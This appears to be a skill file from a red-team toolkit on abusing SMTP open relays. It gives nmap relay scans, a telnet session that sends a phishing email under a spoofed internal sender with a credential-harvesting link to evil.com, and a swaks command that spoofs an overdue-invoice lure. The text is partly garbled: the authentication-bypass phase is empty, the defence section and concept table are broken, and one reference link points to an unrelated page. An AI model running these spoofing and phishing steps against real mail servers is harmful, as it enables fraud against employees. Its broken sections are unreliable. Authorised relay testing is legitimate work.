smtp-open-relay-abuse

The full skill.

Original instructions from the publisher’s SKILL.md

# SMTP Open Relay Abuse

## When to Use
- When auditing an organization's network perimeter and discovering exposed SMTP services (port 25, 465, 587).
- To demonstrate how misconfigured mail servers can be leveraged for anonymized spamming or highly effective, internally-spoofed phishing campaigns during a Red Team engagement.


## Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations

## Workflow

### Phase 1: Identifying Open SMTP Ports

```bash
# nmap -p 25,465,587 --open -sV IP_ADDRESS

# nmap -p 25 --script smtp-open-relay IP_ADDRESS
```

### Phase 2: Manual Verification via Telnet

```text
# telnet IP_ADDRESS 25

# HELO attacker.local

# MAIL FROM:<admin@targetcompany.com>

# RCPT TO:<employee@targetcompany.com>

# DATA
Subject: Critical IT Update
From: admin@targetcompany.com
To: employee@targetcompany.com

Please click the following link to secure your account: http://evil.com/login
.
# QUIT
```

### Phase 3: Automated Exploitation using SWAKS

```bash
# swaks --to employee@targetcompany.com --from admin@targetcompany.com --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"
```

### Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses

```text
# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Connect SMTP ] --> B{Accepts RCPT ]}
    B -->|Yes| C[Open Relay ]
    B -->|No| D[Check Auth ]
    C --> E[Send Phish gently ]
```

## 🔵 Blue Team Detection & Defense
- **Require Authentication**: **Network Filtering (Firewalls)**: **Domain Verification (SPF/DKIM/DMARC)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Smtp Open Relay Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- OWASP: [Testing for SMTP Open Relay](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions)
- Nmap Script: [smtp-open-relay](https://nmap.org/nsedoc/scripts/smtp-open-relay.html)